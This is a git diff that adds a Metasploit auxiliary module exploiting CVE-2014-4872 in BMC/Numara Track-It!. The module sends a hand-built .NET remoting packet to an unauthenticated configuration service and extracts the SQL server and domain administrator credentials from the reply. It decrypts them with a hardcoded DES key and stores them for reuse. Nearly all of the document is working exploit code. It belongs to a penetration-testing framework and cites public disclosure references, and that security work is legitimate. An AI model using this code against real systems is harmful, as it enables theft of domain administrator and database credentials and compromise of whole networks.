diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb new file mode 100644 index 0000000000..3ade9cc01e --- /dev/null +++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb @@ -0,0 +1,374 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure', + 'Description' => %q{ + This module exploits an unauthenticated configuration retrieval .NET remoting + service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain + Administrator and the SQL server user credentials. + This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, + 10.0.0.143 and 9.0.30.248. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-4872' ], + [ 'OSVDB', '112741' ], + [ 'US-CERT-VU', '121036' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ] + ], + 'DisclosureDate' => 'Oct 7 2014' + )) + register_options( + [ + OptPort.new('RPORT', + [true, '.NET remoting service port', 9010]) + ], self.class) + end + + + def prepare_packet(bmc) + # + # ConfigurationService packet structure: + # + # packet_header_pre_packet_size + # packet_size (4 bytes) + # packet_header_pre_uri_size + # uri_size (2 bytes) + # packet_header_pre_uri + # uri + # packet_header_post_uri + # packet_body_start_pre_method_size + # method_size (1 byte) + # method + # packet_body_pre_type_size + # type_size (1 byte) + # packet_body_pre_type + # type + # @packet_terminator + # + # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx + # + # P.S.: Lots of fun stuff can be obtained from the response. Highlights include: + # - DatabaseServerName + # - DatabaseName + # - SchemaOwnerDatabaseUser + # - EncryptedSystemDatabasePassword + # - DomainAdminUserName + # - DomainAdminEncryptedPassword + # + packet_header_pre_packet_size= [ + 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00 + ] + + packet_header_pre_uri_size = [ + 0x04, 0x00, 0x01, 0x01 + ] + + packet_header_pre_uri = [ + 0x00, 0x00 + ] + + # contains binary type (application/octet-stream) + packet_header_post_uri = [ + 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, + 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, + 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x00, 0x00 + ] + + packet_body_start_pre_method_size = [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 + ] + + packet_body_pre_type_size = [ 0x12 ] + + packet_body_pre_type = [ 0x01 ] + + @packet_terminator = [ 0x0b ] + + service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) + method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt")) + type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt")) + + uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service + + packet_size = + packet_header_pre_uri_size.length + + 2 + # uri_size + packet_header_pre_uri.length + + uri.length + + packet_header_post_uri.length + + packet_body_start_pre_method_size.length + + 1 + # method_size + method.length + + packet_body_pre_type_size.length + + 1 + # type_size + packet_body_pre_type.length + + type.length + + # start of packet and packet size (4 bytes) + buf = packet_header_pre_packet_size.pack('C*') + buf << Array(packet_size).pack('L*') + + # uri size (2 bytes) + buf << packet_header_pre_uri_size.pack('C*') + buf << Array(uri.length).pack('S*') + + # uri + buf << packet_header_pre_uri.pack('C*') + buf << uri.bytes.to_a.pack('C*') + buf << packet_header_post_uri.pack('C*') + + # method name + buf << packet_body_start_pre_method_size.pack('C*') + buf << Array(method.length).pack('C*') + buf << method.bytes.to_a.pack('C*') + + # type name + buf << packet_body_pre_type_size.pack('C*') + buf << Array(type.length).pack('C*') + buf << packet_body_pre_type.pack('C*') + buf << type.bytes.to_a.pack('C*') + + buf << @packet_terminator.pack('C*') + + return buf + end + + + def fill_loot_from_packet(packet_reply, loot) + loot.each_key { |str| + if loot[str] != nil + next + end + if (index = (packet_reply.index(str))) != nil + # after str, discard 5 bytes then get str_value + size = packet_reply[index + str.length + 5,1].unpack('C*')[0] + if size == 255 + # if we received 0xFF then there is no value for this str + # set it to empty but not nil so that we don't look for it again + loot[str] = "" + next + end + loot[str] = packet_reply[index + str.length + 6, size] + end + } + end + + + def run + packet = prepare_packet(true) + + sock = connect + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") + end + sock.write(packet) + + # type of database (Oracle or SQL Server) + database_type = "DatabaseType" + # Database server name (host\sid for Oracle or host\login_name for SQL Server) + database_server_name = "DatabaseServerName" + database_name = "DatabaseName" + schema_owner = "SchemaOwnerDatabaseUser" + database_pw = "EncryptedSystemDatabasePassword" + domain_admin_name = "DomainAdminUserName" + domain_admin_pw = "DomainAdminEncryptedPassword" + + loot = { + database_type => nil, + database_server_name => nil, + database_name => nil, + schema_owner => nil, + database_pw => nil, + domain_admin_name => nil, + domain_admin_pw => nil + } + + # We only break when we have a timeout (up to 15 seconds wait) or have all we need + while true + ready = IO.select([sock], nil, nil, 15) + if ready + packet_reply = sock.readpartial(4096) + else + print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.") + break + end + if packet_reply =~ /Service not found/ + # This is most likely an older Numara version, re-do the packet and send again. + print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...") + sock.close + sock = connect + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service") + else + print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...") + end + packet = prepare_packet(false) + sock.write(packet) + packet_reply = sock.readpartial(4096) + end + + fill_loot_from_packet(packet_reply, loot) + + if not loot.has_value?(nil) + break + end + end + sock.close + + # now set the values that were not found back to nil + loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) } + + if loot[database_type] + print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}") + end + + if loot[database_server_name] + print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}") + end + + if loot[database_name] + print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}") + end + + if loot[schema_owner] + print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}") + end + + if loot[database_pw] + cipher = OpenSSL::Cipher::Cipher.new("des") + cipher.decrypt + cipher.key = 'NumaraTI' + cipher.iv = 'NumaraTI' + loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw])) + loot[database_pw] << cipher.final + print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}") + end + + if loot[domain_admin_name] + print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}") + end + + if loot[domain_admin_pw] + cipher = OpenSSL::Cipher::Cipher.new("des") + cipher.decrypt + cipher.key = 'NumaraTI' + cipher.iv = 'NumaraTI' + loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw])) + loot[domain_admin_pw] << cipher.final + print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}") + end + + if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name] + # If it is Oracle we need to save the SID for creating the Credential Core, else we don't care + if loot[database_type] =~ /Oracle/i + sid = loot[database_server_name].split('\\')[1] + else + sid = nil + end + + credential_core = report_credential_core({ + password: loot[database_pw], + username: loot[schema_owner], + sid: sid + }) + + # Get just the hostname + db_address= loot[database_server_name].split('\\')[0] + + begin + database_login_data = { + address: ::Rex::Socket.getaddress(db_address, true), + service_name: loot[database_type], + protocol: 'tcp', + workspace_id: myworkspace_id, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # If it's Oracle, use the Oracle port, else use MSSQL + if loot[database_type] =~ /Oracle/i + database_login_data[:port] = 1521 + else + database_login_data[:port] = 1433 + end + create_credential_login(database_login_data) + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname + rescue SocketError + print_error "Could not resolve Database Server Hostname." + end + + print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}") + end + + if loot[domain_admin_name] and loot[domain_admin_pw] + report_credential_core({ + password: loot[domain_admin_pw], + username: loot[domain_admin_name].split('\\')[1], + domain: loot[domain_admin_name].split('\\')[0] + }) + + print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}") + end + end + + + def report_credential_core(cred_opts={}) + # Set up the has for our Origin service + origin_service_data = { + address: rhost, + port: rport, + service_name: 'Domain', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + if cred_opts[:domain] + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: cred_opts[:domain] + }) + elsif cred_opts[:sid] + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER, + realm_value: cred_opts[:sid] + }) + end + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end